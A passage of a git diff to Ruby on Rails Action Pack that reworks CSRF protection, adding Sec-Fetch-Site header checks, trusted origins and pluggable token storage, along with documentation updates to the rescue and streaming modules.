+      # The strategy to use for storing and retrieving CSRF tokens.
+      singleton_class.delegate :csrf_token_storage_strategy, :csrf_token_storage_strategy=, to: :config
+      delegate :csrf_token_storage_strategy, :csrf_token_storage_strategy=, to: :config
+      self.csrf_token_storage_strategy = SessionStore.new
+
+      # The strategy to use for verifying requests. Options are:
+      # * :header_only - Use Sec-Fetch-Site header only (default, modern browsers)
+      # * :header_or_legacy_token - Combined approach: Sec-Fetch-Site with fallback to token
+      singleton_class.delegate :forgery_protection_verification_strategy, :forgery_protection_verification_strategy=, to: :config
+      delegate :forgery_protection_verification_strategy, :forgery_protection_verification_strategy=, to: :config
+      self.forgery_protection_verification_strategy = :header_or_legacy_token
+
+      # Origins allowed for cross-site requests, such as OAuth/SSO callbacks,
+      # third-party embeds, and legitimate remote form submission.
+      # Example: %w[ https://accounts.google.com ]
+      singleton_class.delegate :forgery_protection_trusted_origins, :forgery_protection_trusted_origins=, to: :config
+      delegate :forgery_protection_trusted_origins, :forgery_protection_trusted_origins=, to: :config
+      self.forgery_protection_trusted_origins = []
+
       helper_method :form_authenticity_token
       helper_method :protect_against_forgery?
     end
 
     module ClassMethods
-      # Turn on request forgery protection. Bear in mind that GET and HEAD requests are not checked.
+      # Turn on request forgery protection. Bear in mind that GET and HEAD requests
+      # are not checked.
       #
-      #   class ApplicationController < ActionController::Base
-      #     protect_from_forgery
-      #   end
+      #     class ApplicationController < ActionController::Base
+      #       protect_from_forgery
+      #     end
       #
-      #   class FooController < ApplicationController
-      #     protect_from_forgery except: :index
-      #   end
+      #     class FooController < ApplicationController
+      #       protect_from_forgery except: :index
+      #     end
       #
-      # You can disable forgery protection on controller by skipping the verification before_action:
+      # You can disable forgery protection on a controller using
+      # skip_forgery_protection:
       #
-      #   skip_before_action :verify_authenticity_token
+      #     class BarController < ApplicationController
+      #       skip_forgery_protection
+      #     end
       #
       # Valid Options:
       #
-      # * <tt>:only/:except</tt> - Only apply forgery protection to a subset of actions. For example <tt>only: [ :create, :create_all ]</tt>.
-      # * <tt>:if/:unless</tt> - Turn off the forgery protection entirely depending on the passed Proc or method reference.
-      # * <tt>:prepend</tt> - By default, the verification of the authentication token will be added at the position of the
-      #   protect_from_forgery call in your application. This means any callbacks added before are run first. This is useful
-      #   when you want your forgery protection to depend on other callbacks, like authentication methods (Oauth vs Cookie auth).
+      # *   `:only` / `:except` - Only apply forgery protection to a subset of
+      #     actions. For example `only: [ :create, :create_all ]`.
+      # *   `:if` / `:unless` - Turn off the forgery protection entirely depending on
+      #     the passed Proc or method reference.
+      # *   `:prepend` - By default, the verification of the authentication token will
+      #     be added at the position of the protect_from_forgery call in your
+      #     application. This means any callbacks added before are run first. This is
+      #     useful when you want your forgery protection to depend on other callbacks,
+      #     like authentication methods (Oauth vs Cookie auth).
+      #
+      #     If you need to add verification to the beginning of the callback chain,
+      #     use `prepend: true`.
+      # *   `:with` - Set the method to handle unverified request. Note if
+      #     `default_protect_from_forgery` is true, Rails call protect_from_forgery
+      #     with `with :exception`.
+      #
+      #
+      # Built-in unverified request handling methods are:
+      #
+      # *   `:exception` - Raises ActionController::InvalidCrossOriginRequest
+      #     exception.
+      # *   `:reset_session` - Resets the session.
+      # *   `:null_session` - Provides an empty session during request but doesn't
+      #     reset it completely. Used as default if `:with` option is not specified.
+      #
+      #
+      # You can also implement custom strategy classes for unverified request
+      # handling:
+      #
+      #     class CustomStrategy
+      #       def initialize(controller)
+      #         @controller = controller
+      #       end
+      #
+      #       def handle_unverified_request
+      #         # Custom behavior for unverfied request
+      #       end
+      #     end
+      #
+      #     class ApplicationController < ActionController::Base
+      #       protect_from_forgery with: CustomStrategy
+      #     end
+      #
+      # *   `:store` - Set the strategy to store and retrieve CSRF tokens.
+      #
+      #
+      # Built-in session token strategies are:
+      #
+      # *   `:session` - Store the CSRF token in the session.  Used as default if
+      #     `:store` option is not specified.
+      # *   `:cookie` - Store the CSRF token in an encrypted cookie.
       #
-      #   If you need to add verification to the beginning of the callback chain, use <tt>prepend: true</tt>.
-      # * <tt>:with</tt> - Set the method to handle unverified request.
       #
-      # Valid unverified request handling methods are:
-      # * <tt>:exception</tt> - Raises ActionController::InvalidAuthenticityToken exception.
-      # * <tt>:reset_session</tt> - Resets the session.
-      # * <tt>:null_session</tt> - Provides an empty session during request but doesn't reset it completely. Used as default if <tt>:with</tt> option is not specified.
+      # You can also implement custom strategy classes for CSRF token storage:
+      #
+      #     class CustomStore
+      #       def fetch(request)
+      #         # Return the token from a custom location
+      #       end
+      #
+      #       def store(request, csrf_token)
+      #         # Store the token in a custom location
+      #       end
+      #
+      #       def reset(request)
+      #         # Delete the stored session token
+      #       end
+      #     end
+      #
+      #     class ApplicationController < ActionController::Base
+      #       protect_from_forgery store: CustomStore.new
+      #     end
+      #
+      # *   `:using` - Set the verification strategy for CSRF protection.
+      #
+      #     Built-in verification strategies are:
+      #
+      #     *   `:header_only` - Uses the `Sec-Fetch-Site` header sent by modern
+      #         browsers to verify that requests originate from the same site. This
+      #         approach does not require authenticity tokens but only works with
+      #         browsers that support the Fetch Metadata Request Headers. Requests
+      #         without a valid `Sec-Fetch-Site` header will be rejected. This is
+      #         the default.
+      #
+      #     *   `:header_or_legacy_token` - A hybrid approach that first checks the
+      #         `Sec-Fetch-Site` header. If the header indicates same-site or
+      #         same-origin, the request is allowed. Requests with a cross-site
+      #         value are rejected. When the header is missing or "none", it falls
+      #         back to checking the authenticity token. This mode logs when
+      #         falling back to help identify requests that should be fixed to work
+      #         with `:header_only`. Use this if you need to support older browsers
+      #         that don't send the `Sec-Fetch-Site` header.
+      #
+      # *   `:trusted_origins` - Array of origins to allow for cross-site requests,
+      #     such as OAuth/SSO callbacks, third-party embeds, and legitimate remote
+      #     form submission.
+      #
+      # Example:
+      #
+      #     class ApplicationController < ActionController::Base
+      #       # Modern browsers only (default)
+      #       protect_from_forgery using: :header_only, with: :exception
+      #
+      #       # Hybrid approach with fallback for older browsers
+      #       protect_from_forgery using: :header_or_legacy_token, with: :exception
+      #
+      #       # Allow cross-site requests from trusted origins
+      #       protect_from_forgery trusted_origins: %w[ https://accounts.google.com ]
+      #     end
       def protect_from_forgery(options = {})
         options = options.reverse_merge(prepend: false)
 
         self.forgery_protection_strategy = protection_method_class(options[:with] || :null_session)
         self.request_forgery_protection_token ||= :authenticity_token
-        before_action :verify_authenticity_token, options
+
+        self.csrf_token_storage_strategy = storage_strategy(options[:store] || SessionStore.new)
+        self.forgery_protection_verification_strategy = verification_strategy(options[:using] || forgery_protection_verification_strategy)
+        self.forgery_protection_trusted_origins = Array(options[:trusted_origins]) if options.key?(:trusted_origins)
+
+        if options[:prepend]
+          prepend_before_action :verify_request_for_forgery_protection, options
+          prepend_before_action :verify_authenticity_token, options
+        else
+          before_action :verify_authenticity_token, :verify_request_for_forgery_protection, options
+        end
         append_after_action :verify_same_origin_request
+        append_after_action :append_sec_fetch_site_to_vary_header, options
       end
 
-      private
+      # Turn off request forgery protection. This is a wrapper for:
+      #
+      #     skip_before_action :verify_request_for_forgery_protection
+      #
+      # See `skip_before_action` for allowed options.
+      def skip_forgery_protection(options = {})
+        skip_before_action :verify_request_for_forgery_protection, options.reverse_merge(raise: false)
+      end
 
+      private
         def protection_method_class(name)
-          ActionController::RequestForgeryProtection::ProtectionMethods.const_get(name.to_s.classify)
-        rescue NameError
-          raise ArgumentError, "Invalid request forgery protection method, use :null_session, :exception, or :reset_session"
+          case name
+          when :null_session
+            ProtectionMethods::NullSession
+          when :reset_session
+            ProtectionMethods::ResetSession
+          when :exception
+            ProtectionMethods::Exception
+          when Class
+            name
+          else
+            raise ArgumentError, "Invalid request forgery protection method, use :null_session, :exception, :reset_session, or a custom forgery protection class."
+          end
+        end
+
+        def storage_strategy(name)
+          case name
+          when :session
+            SessionStore.new
+          when :cookie
+            CookieStore.new(:csrf_token)
+          else
+            return name if is_storage_strategy?(name)
+            raise ArgumentError, "Invalid CSRF token storage strategy, use :session, :cookie, or a custom CSRF token storage class."
+          end
+        end
+
+        def is_storage_strategy?(object)
+          object.respond_to?(:fetch) && object.respond_to?(:store) && object.respond_to?(:reset)
+        end
+
+        def verification_strategy(name)
+          case name
+          when :header_only, :header_or_legacy_token
+            name
+          else
+            raise ArgumentError, "Invalid request forgery verification strategy, use :header_only or :header_or_legacy_token."
+          end
         end
     end
 
@@ -143,7 +339,8 @@ def initialize(controller)
           @controller = controller
         end
 
-        # This is the method that defines the application behavior when a request is found to be unverified.
+        # This is the method that defines the application behavior when a request is
+        # found to be unverified.
         def handle_unverified_request
           request = @controller.request
           request.session = NullSessionHash.new(request)
@@ -153,8 +350,7 @@ def handle_unverified_request
         end
 
         private
-
-          class NullSessionHash < Rack::Session::Abstract::SessionHash #:nodoc:
+          class NullSessionHash < Rack::Session::Abstract::SessionHash
             def initialize(req)
               super(nil, req)
               @data = {}
@@ -167,9 +363,13 @@ def destroy; end
             def exists?
               true
             end
+
+            def enabled?
+              false
+            end
           end
 
-          class NullCookieJar < ActionDispatch::Cookies::CookieJar #:nodoc:
+          class NullCookieJar < ActionDispatch::Cookies::CookieJar
             def write(*)
               # nothing
             end
@@ -187,87 +387,271 @@ def handle_unverified_request
       end
 
       class Exception
+        attr_accessor :warning_message
+
         def initialize(controller)
           @controller = controller
         end
 
         def handle_unverified_request
-          raise ActionController::InvalidAuthenticityToken
+          raise ActionController::InvalidCrossOriginRequest, warning_message
         end
       end
     end
 
+    class SessionStore
+      def fetch(request)
+        request.session[:_csrf_token]
+      end
+
+      def store(request, csrf_token)
+        request.session[:_csrf_token] = csrf_token
+      end
+
+      def reset(request)
+        request.session.delete(:_csrf_token)
+      end
+    end
+
+    class CookieStore
+      def initialize(cookie = :csrf_token)
+        @cookie_name = cookie
+      end
+
+      def fetch(request)
+        contents = request.cookie_jar.encrypted[@cookie_name]
+        return nil if contents.nil?
+
+        value = JSON.parse(contents)
+        return nil unless value.dig("session_id", "public_id") == request.session.id_was&.public_id
+
+        value["token"]
+      rescue JSON::ParserError
+        nil
+      end
+
+      def store(request, csrf_token)
+        request.cookie_jar.encrypted.permanent[@cookie_name] = {
+          value: {
+            token: csrf_token,
+            session_id: request.session.id,
+          }.to_json,
+          httponly: true,
+          same_site: :lax,
+        }
+      end
+
+      def reset(request)
+        request.cookie_jar.delete(@cookie_name)
+      end
+    end
+
+    def initialize(...)
+      super
+      @_marked_for_same_origin_verification = nil
+      @_verify_authenticity_token_ran = false
+    end
+
+    def reset_csrf_token(request) # :doc:
+      request.env.delete(CSRF_TOKEN)
+      csrf_token_storage_strategy.reset(request)
+    end
+
+    def commit_csrf_token(request) # :doc:
+      csrf_token = request.env[CSRF_TOKEN]
+      csrf_token_storage_strategy.store(request, csrf_token) unless csrf_token.nil?
+    end
+
     private
-      # The actual before_action that is used to verify the CSRF token.
-      # Don't override this directly. Provide your own forgery protection
-      # strategy instead. If you override, you'll disable same-origin
-      # `<script>` verification.
-      #
-      # Lean on the protect_from_forgery declaration to mark which actions are
-      # due for same-origin request verification. If protect_from_forgery is
-      # enabled on an action, this before_action flags its after_action to
-      # verify that JavaScript responses are for XHR requests, ensuring they
-      # follow the browser's same-origin policy.
-      def verify_authenticity_token # :doc:
-        mark_for_same_origin_verification!
-
-        if !verified_request?
-          if logger && log_warning_on_csrf_failure
-            logger.warn "Can't verify CSRF token authenticity."
+      def verify_authenticity_token # :nodoc:
+        # This method was renamed to verify_request_for_forgery_protection, to more accurately
+        # reflect its purpose now that an authenticity token is not necessarily verified.
+        # However, because many people rely on `skip_before_action :verify_authenticity_token`,
+        # to opt out of forgery protection, we need to keep this working and deprecate it.
+        # We simply mark it as run, as part of protect_from_forgery, and when verifying the
+        # request, we check if the method ran. If it didn't, it's because it was skipped
+        # on its own and not via skip_forgery_protection, so we can emit the deprecation warning
+        @_verify_authenticity_token_ran = true
+      end
+
+      # The actual before_action that is used to verify the request to protect from forgery.
+      # Don't override this directly. Provide your own forgery protection strategy instead.
+      # If you override, you'll disable same-origin `<script>` verification.
+      #
+      # Lean on the protect_from_forgery declaration to mark which actions are due for
+      # same-origin request verification. If protect_from_forgery is enabled on an
+      # action, this before_action flags its after_action to verify that JavaScript
+      # responses are for XHR requests, ensuring they follow the browser's same-origin
+      # policy.
+      def verify_request_for_forgery_protection # :doc:
+        if @_verify_authenticity_token_ran
+          mark_for_same_origin_verification!
+
+          if !verified_request?
+            instrument_unverified_request
+
+            handle_unverified_request
           end
-          handle_unverified_request
+        else
+          ActiveSupport.deprecator.warn(<<~MSG.squish)
+            `verify_authenticity_token` is deprecated and will be removed in a future Rails version.
+            To skip forgery protection, use `skip_forgery_protection` instead of skipping `verify_authenticity_token`
+            as this won't have any effect in a future Rails version.
+          MSG
         end
       end
 
-      def handle_unverified_request # :doc:
-        forgery_protection_strategy.new(self).handle_unverified_request
+      def handle_unverified_request
+        protection_strategy = forgery_protection_strategy.new(self)
+
+        if protection_strategy.respond_to?(:warning_message)
+          protection_strategy.warning_message = unverified_request_warning_message
+        end
+
+        protection_strategy.handle_unverified_request
+      end
+
+      def cross_origin_request?
+        !valid_request_origin? ||
+          sec_fetch_site_value == "cross-site" ||
+          using_header_only_for_forgery_protection?
+      end
+
+      def unverified_request_warning_message
+        if !valid_request_origin?
+          "HTTP Origin header (#{request.origin}) didn't match request.base_url (#{request.base_url})"
+        elsif sec_fetch_site_value == "cross-site"
+          "Sec-Fetch-Site header (cross-site) indicates a cross-site request"
+        elsif using_header_only_for_forgery_protection?
+          "Sec-Fetch-Site header is missing or invalid (#{sec_fetch_site_value.inspect})"
+        else
+          "Can't verify CSRF token authenticity."
+        end
       end
 
-      #:nodoc:
       CROSS_ORIGIN_JAVASCRIPT_WARNING = "Security warning: an embedded " \
         "<script> tag on another site requested protected JavaScript. " \
         "If you know what you're doing, go ahead and disable forgery " \
         "protection on this action to permit cross-origin JavaScript embedding."
       private_constant :CROSS_ORIGIN_JAVASCRIPT_WARNING
+      # :startdoc:
 
-      # If `verify_authenticity_token` was run (indicating that we have
-      # forgery protection enabled for this request) then also verify that
-      # we aren't serving an unauthorized cross-origin response.
+      # If `verify_request_for_forgery_protection` was run (indicating that we have
+      # forgery protection enabled for this request) then also verify that we aren't
+      # serving an unauthorized cross-origin response.
       def verify_same_origin_request # :doc:
         if marked_for_same_origin_verification? && non_xhr_javascript_response?
-          if logger && log_warning_on_csrf_failure
-            logger.warn CROSS_ORIGIN_JAVASCRIPT_WARNING
-          end
+          instrument_cross_origin_javascript
           raise ActionController::InvalidCrossOriginRequest, CROSS_ORIGIN_JAVASCRIPT_WARNING
         end
       end
 
+      # Appends Sec-Fetch-Site to the Vary header. This ensures proper cache behavior since
+      # the response may vary based on this header.
+      def append_sec_fetch_site_to_vary_header # :doc:
+        vary_header = response.headers["Vary"].to_s.split(",").map(&:strip).reject(&:blank?)
+        unless vary_header.include?("Sec-Fetch-Site")
+          response.headers["Vary"] = (vary_header + ["Sec-Fetch-Site"]).join(", ")
+        end
+      end
+
       # GET requests are checked for cross-origin JavaScript after rendering.
       def mark_for_same_origin_verification! # :doc:
-        @marked_for_same_origin_verification = request.get?
+        @_marked_for_same_origin_verification = request.get?
       end
 
-      # If the `verify_authenticity_token` before_action ran, verify that
-      # JavaScript responses are only served to same-origin GET requests.
+      # If the `verify_request_for_forgery_protection` before_action ran,
+      # verify that JavaScript responses are only served to same-origin
+      # GET requests.
       def marked_for_same_origin_verification? # :doc:
-        @marked_for_same_origin_verification ||= false
+        @_marked_for_same_origin_verification ||= false
       end
 
       # Check for cross-origin JavaScript responses.
       def non_xhr_javascript_response? # :doc:
-        content_type =~ %r(\Atext/javascript) && !request.xhr?
+        %r(\A(?:text|application)/javascript).match?(media_type) && !request.xhr?
       end
 
       AUTHENTICITY_TOKEN_LENGTH = 32
 
-      # Returns true or false if a request is verified. Checks:
+      # Safe values for Sec-Fetch-Site header that indicate the request
+      # originated from the same site.
+      SAFE_FETCH_SITES = %w[ same-origin same-site ].freeze
+      private_constant :SAFE_FETCH_SITES
+
+      # Returns true or false if a request is verified. The verification method
+      # depends on the configured `forgery_protection_verification_strategy`:
+      #
+      # *   `:header_only` - Uses Sec-Fetch-Site header only (default)
+      # *   `:header_or_legacy_token` - Uses Sec-Fetch-Site header with fallback to token
+      #
+      # For all strategies, GET and HEAD requests are allowed without verification.
       #
-      # * Is it a GET or HEAD request?  Gets should be safe and idempotent
-      # * Does the form_authenticity_token match the given token value from the params?
-      # * Does the X-CSRF-Token header match the form_authenticity_token
       def verified_request? # :doc:
-        !protect_against_forgery? || request.get? || request.head? ||
-          (valid_request_origin? && any_authenticity_token_valid?)
+        request.get? || request.head? || !protect_against_forgery? ||
+          (valid_request_origin? && verified_request_for_forgery_protection?)
+      end
+
+      def verified_request_for_forgery_protection?
+        if using_header_only_for_forgery_protection?
+          verified_via_header_only?
+        else
+          verified_with_legacy_token?
+        end
+      end
+
+      def using_header_only_for_forgery_protection?
+        forgery_protection_verification_strategy == :header_only
+      end
+
+      def verified_via_header_only?
+        SAFE_FETCH_SITES.include?(sec_fetch_site_value) ||
+          (sec_fetch_site_value == "cross-site" && origin_trusted?)
+      end
+
+      def verified_with_legacy_token?
+        case sec_fetch_site_value
+        when "same-origin", "same-site"
+          true
+        when "cross-site"
+          origin_trusted?
+        else # "none" or missing
+          instrument_csrf_token_fallback
+          any_authenticity_token_valid?
+        end
+      end
+
+      def instrument_csrf_token_fallback
+        instrument_csrf_event "csrf_token_fallback.action_controller"
+      end
+
+      def instrument_unverified_request
+        instrument_csrf_event "csrf_request_blocked.action_controller",
+          message: unverified_request_warning_message
+      end
+
+      def instrument_cross_origin_javascript
+        instrument_csrf_event "csrf_javascript_blocked.action_controller",
+          message: CROSS_ORIGIN_JAVASCRIPT_WARNING
+      end
+
+      def instrument_csrf_event(event, message: nil)
+        ActiveSupport::Notifications.instrument event,
+          request: request,
+          controller: self.class.name,
+          action: action_name,
+          sec_fetch_site: sec_fetch_site_value,
+          message: message
+      end
+
+      def origin_trusted?
+        origin = request.origin
+        origin.present? && forgery_protection_trusted_origins.include?(origin)
+      end
+
+      # Returns the normalized value of the Sec-Fetch-Site header.
+      def sec_fetch_site_value # :doc:
+        request.headers["Sec-Fetch-Site"].to_s.downcase.presence
       end
 
       # Checks if any of the authenticity tokens from the request are valid.
@@ -282,107 +666,130 @@ def request_authenticity_tokens # :doc:
         [form_authenticity_param, request.x_csrf_token]
       end
 
-      # Sets the token value for the current session.
-      def form_authenticity_token(form_options: {})
-        masked_authenticity_token(session, form_options: form_options)
+      # Creates the authenticity token for the current request.
+      def form_authenticity_token(form_options: {}) # :doc:
+        masked_authenticity_token(form_options: form_options)
       end
 
-      # Creates a masked version of the authenticity token that varies
-      # on each request. The masking is used to mitigate SSL attacks
-      # like BREACH.
-      def masked_authenticity_token(session, form_options: {}) # :doc:
+      # Creates a masked version of the authenticity token that varies on each
+      # request. The masking is used to mitigate SSL attacks like BREACH.
+      def masked_authenticity_token(form_options: {})
         action, method = form_options.values_at(:action, :method)
 
         raw_token = if per_form_csrf_tokens && action && method
           action_path = normalize_action_path(action)
-          per_form_csrf_token(session, action_path, method)
+          per_form_csrf_token(nil, action_path, method)
         else
-          real_csrf_token(session)
+          global_csrf_token
         end
 
-        one_time_pad = SecureRandom.random_bytes(AUTHENTICITY_TOKEN_LENGTH)
-        encrypted_csrf_token = xor_byte_strings(one_time_pad, raw_token)
-        masked_token = one_time_pad + encrypted_csrf_token
-        Base64.strict_encode64(masked_token)
+        mask_token(raw_token)
       end
 
-      # Checks the client's masked token to see if it matches the
-      # session token. Essentially the inverse of
-      # +masked_authenticity_token+.
+      # Checks the client's masked token to see if it matches the session token.
+      # Essentially the inverse of `masked_authenticity_token`.
       def valid_authenticity_token?(session, encoded_masked_token) # :doc:
-        if encoded_masked_token.nil? || encoded_masked_token.empty? || !encoded_masked_token.is_a?(String)
+        if !encoded_masked_token.is_a?(String) || encoded_masked_token.empty?
           return false
         end
 
         begin
-          masked_token = Base64.strict_decode64(encoded_masked_token)
+          masked_token = decode_csrf_token(encoded_masked_token)
         rescue ArgumentError # encoded_masked_token is invalid Base64
           return false
         end
 
-        # See if it's actually a masked token or not. In order to
-        # deploy this code, we should be able to handle any unmasked
-        # tokens that we've issued without error.
+        # See if it's actually a masked token or not. In order to deploy this code, we
+        # should be able to handle any unmasked tokens that we've issued without error.
 
         if masked_token.length == AUTHENTICITY_TOKEN_LENGTH
-          # This is actually an unmasked token. This is expected if
-          # you have just upgraded to masked tokens, but should stop
-          # happening shortly after installing this gem
-          compare_with_real_token masked_token, session
+          # This is actually an unmasked token. This is expected if you have just upgraded
+          # to masked tokens, but should stop happening shortly after installing this gem.
+          compare_with_real_token masked_token
 
         elsif masked_token.length == AUTHENTICITY_TOKEN_LENGTH * 2
           csrf_token = unmask_token(masked_token)
 
-          compare_with_real_token(csrf_token, session) ||
-            valid_per_form_csrf_token?(csrf_token, session)
+          compare_with_global_token(csrf_token) ||
+            compare_with_real_token(csrf_token) ||
+            valid_per_form_csrf_token?(csrf_token)
         else
-          false # Token is malformed
+          false # Token is malformed.
         end
       end
 
       def unmask_token(masked_token) # :doc:
-        # Split the token into the one-time pad and the encrypted
-        # value and decrypt it
+        # Split the token into the one-time pad and the encrypted value and decrypt it.
         one_time_pad = masked_token[0...AUTHENTICITY_TOKEN_LENGTH]
         encrypted_csrf_token = masked_token[AUTHENTICITY_TOKEN_LENGTH..-1]
         xor_byte_strings(one_time_pad, encrypted_csrf_token)
       end
 
-      def compare_with_real_token(token, session) # :doc:
-        ActiveSupport::SecurityUtils.secure_compare(token, real_csrf_token(session))
+      def mask_token(raw_token) # :doc:
+        one_time_pad = SecureRandom.random_bytes(AUTHENTICITY_TOKEN_LENGTH)
+        encrypted_csrf_token = xor_byte_strings(one_time_pad, raw_token)
+        masked_token = one_time_pad + encrypted_csrf_token
+        encode_csrf_token(masked_token)
       end
 
-      def valid_per_form_csrf_token?(token, session) # :doc:
+      def compare_with_real_token(token, session = nil) # :doc:
+        ActiveSupport::SecurityUtils.fixed_length_secure_compare(token, real_csrf_token(session))
+      end
+
+      def compare_with_global_token(token, session = nil) # :doc:
+        ActiveSupport::SecurityUtils.fixed_length_secure_compare(token, global_csrf_token(session))
+      end
+
+      def valid_per_form_csrf_token?(token, session = nil) # :doc:
         if per_form_csrf_tokens
           correct_token = per_form_csrf_token(
             session,
-            normalize_action_path(request.fullpath),
+            request.path.chomp("/"),
             request.request_method
           )
 
-          ActiveSupport::SecurityUtils.secure_compare(token, correct_token)
+          ActiveSupport::SecurityUtils.fixed_length_secure_compare(token, correct_token)
         else
           false
         end
       end
 
-      def real_csrf_token(session) # :doc:
-        session[:_csrf_token] ||= SecureRandom.base64(AUTHENTICITY_TOKEN_LENGTH)
-        Base64.strict_decode64(session[:_csrf_token])
+      def real_csrf_token(_session = nil) # :doc:
+        csrf_token = request.env.fetch(CSRF_TOKEN) do
+          request.env[CSRF_TOKEN] = csrf_token_storage_strategy.fetch(request) || generate_csrf_token
+        end
+
+        decode_csrf_token(csrf_token)
       end
 
       def per_form_csrf_token(session, action_path, method) # :doc:
+        csrf_token_hmac(session, [action_path, method.downcase].join("#"))
+      end
+
+      GLOBAL_CSRF_TOKEN_IDENTIFIER = "!real_csrf_token"
+      private_constant :GLOBAL_CSRF_TOKEN_IDENTIFIER
+
+      def global_csrf_token(session = nil) # :doc:
+        csrf_token_hmac(session, GLOBAL_CSRF_TOKEN_IDENTIFIER)
+      end
+
+      def csrf_token_hmac(session, identifier) # :doc:
         OpenSSL::HMAC.digest(
           OpenSSL::Digest::SHA256.new,
           real_csrf_token(session),
-          [action_path, method.downcase].join("#")
+          identifier
         )
       end
 
       def xor_byte_strings(s1, s2) # :doc:
-        s2_bytes = s2.bytes
-        s1.each_byte.with_index { |c1, i| s2_bytes[i] ^= c1 }
-        s2_bytes.pack("C*")
+        s2 = s2.dup
+        size = s1.bytesize
+        i = 0
+        while i < size
+          s2.setbyte(i, s1.getbyte(i) ^ s2.getbyte(i))
+          i += 1
+        end
+        s2
       end
 
       # The form's authenticity parameter. Override to provide your own.
@@ -392,23 +799,61 @@ def form_authenticity_param # :doc:
 
       # Checks if the controller allows forgery protection.
       def protect_against_forgery? # :doc:
-        allow_forgery_protection
+        allow_forgery_protection && (!session.respond_to?(:enabled?) || session.enabled?)
       end
 
-      # Checks if the request originated from the same origin by looking at the
-      # Origin header.
+      NULL_ORIGIN_MESSAGE = <<~MSG
+        The browser returned a 'null' origin for a request with origin-based forgery protection turned on. This usually
+        means you have the 'no-referrer' Referrer-Policy header enabled, or that the request came from a site that
+        refused to give its origin. This makes it impossible for Rails to verify the source of the requests. Likely the
+        best solution is to change your referrer policy to something less strict like same-origin or strict-origin.
+        If you cannot change the referrer policy, you can disable origin checking with the
+        Rails.application.config.action_controller.forgery_protection_origin_check setting.
+      MSG
+      private_constant :NULL_ORIGIN_MESSAGE
+
+      # Checks if the request originated from the same origin by looking at the Origin
+      # header.
       def valid_request_origin? # :doc:
         if forgery_protection_origin_check
           # We accept blank origin headers because some user agents don't send it.
+          raise InvalidCrossOriginRequest, NULL_ORIGIN_MESSAGE if request.origin == "null"
           request.origin.nil? || request.origin == request.base_url
         else
           true
         end
       end
 
-      def normalize_action_path(action_path) # :doc:
+      def normalize_action_path(action_path)
         uri = URI.parse(action_path)
+
+        if uri.relative? && (action_path.blank? || !action_path.start_with?("/"))
+          normalize_relative_action_path(uri.path)
+        else
+          uri.path.chomp("/")
+        end
+      end
+
+      def normalize_relative_action_path(rel_action_path)
+        uri = URI.parse(request.path)
+        # add the action path to the request.path
+        uri.path += "/#{rel_action_path}"
+        # relative path with "./path"
+        uri.path.gsub!("/./", "/")
+
         uri.path.chomp("/")
       end
+
+      def generate_csrf_token
+        SecureRandom.urlsafe_base64(AUTHENTICITY_TOKEN_LENGTH)
+      end
+
+      def encode_csrf_token(csrf_token)
+        Base64.urlsafe_encode64(csrf_token, padding: false)
+      end
+
+      def decode_csrf_token(encoded_csrf_token)
+        Base64.urlsafe_decode64(encoded_csrf_token)
+      end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/rescue.rb b/actionpack/lib/action_controller/metal/rescue.rb
index 2d99e4045b327..4affddde7e8dd 100644
--- a/actionpack/lib/action_controller/metal/rescue.rb
+++ b/actionpack/lib/action_controller/metal/rescue.rb
@@ -1,22 +1,38 @@
-module ActionController #:nodoc:
-  # This module is responsible for providing `rescue_from` helpers
-  # to controllers and configuring when detailed exceptions must be
-  # shown.
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionController # :nodoc:
+  # # Action Controller Rescue
+  #
+  # This module is responsible for providing
+  # [rescue_from](rdoc-ref:ActiveSupport::Rescuable::ClassMethods#rescue_from) to
+  # controllers, wrapping actions to handle configured errors, and configuring
+  # when detailed exceptions must be shown.
   module Rescue
     extend ActiveSupport::Concern
     include ActiveSupport::Rescuable
 
-    # Override this method if you want to customize when detailed
-    # exceptions must be shown. This method is only called when
-    # consider_all_requests_local is false. By default, it returns
-    # false, but someone may set it to `request.local?` so local
-    # requests in production still shows the detailed exception pages.
+    module ClassMethods
+      def handler_for_rescue(exception, ...) # :nodoc:
+        if handler = super
+          ActiveSupport::Notifications.instrument("rescue_from_callback.action_controller", exception: exception)
+          handler
+        end
+      end
+    end
+
+    # Override this method if you want to customize when detailed exceptions must be
+    # shown. This method is only called when `consider_all_requests_local` is
+    # `false`. By default, it returns `false`, but someone may set it to
+    # `request.local?` so local requests in production still show the detailed
+    # exception pages.
     def show_detailed_exceptions?
       false
     end
 
     private
-      def process_action(*args)
+      def process_action(*)
         super
       rescue Exception => exception
         request.env["action_dispatch.show_detailed_exceptions"] ||= show_detailed_exceptions?
diff --git a/actionpack/lib/action_controller/metal/streaming.rb b/actionpack/lib/action_controller/metal/streaming.rb
index 877a08b2225d9..52a5b36f1dfbb 100644
--- a/actionpack/lib/action_controller/metal/streaming.rb
+++ b/actionpack/lib/action_controller/metal/streaming.rb
@@ -1,218 +1,180 @@
-require "rack/chunked"
+# frozen_string_literal: true
 
-module ActionController #:nodoc:
+# :markup: markdown
+
+module ActionController # :nodoc:
+  # # Action Controller Streaming
+  #
   # Allows views to be streamed back to the client as they are rendered.
   #
-  # The default way Rails renders views is by first rendering the template
-  # and then the layout. The response is sent to the client after the whole
-  # template is rendered, all queries are made, and the layout is processed.
+  # By default, Rails renders views by first rendering the template and then the
+  # layout. The response is sent to the client after the whole template is
+  # rendered, all queries are made, and the layout is processed.
   #
   # Streaming inverts the rendering flow by rendering the layout first and
-  # streaming each part of the layout as they are processed. This allows the
-  # header of the HTML (which is usually in the layout) to be streamed back
-  # to client very quickly, allowing JavaScripts and stylesheets to be loaded
-  # earlier than usual.
+  # subsequently each part of the layout as they are processed. This allows the
+  # header of the HTML (which is usually in the layout) to be streamed back to
+  # client very quickly, enabling JavaScripts and stylesheets to be loaded earlier
+  # than usual.
+  #
+  # Several Rack middlewares may not work and you need to be careful when
+  # streaming. This is covered in more detail below, see the Streaming@Middlewares
+  # section.
+  #
+  # Streaming can be added to a given template easily, all you need to do is to
+  # pass the `:stream` option to `render`.
+  #
+  #     class PostsController
+  #       def index
+  #         @posts = Post.all
+  #         render stream: true
+  #       end
+  #     end
   #
-  # This approach was introduced in Rails 3.1 and is still improving. Several
-  # Rack middlewares may not work and you need to be careful when streaming.
-  # Those points are going to be addressed soon.
+  # ## When to use streaming
   #
-  # In order to use streaming, you will need to use a Ruby version that
-  # supports fibers (fibers are supported since version 1.9.2 of the main
-  # Ruby implementation).
+  # Streaming may be considered to be overkill for lightweight actions like `new`
+  # or `edit`. The real benefit of streaming is on expensive actions that, for
+  # example, do a lot of queries on the database.
   #
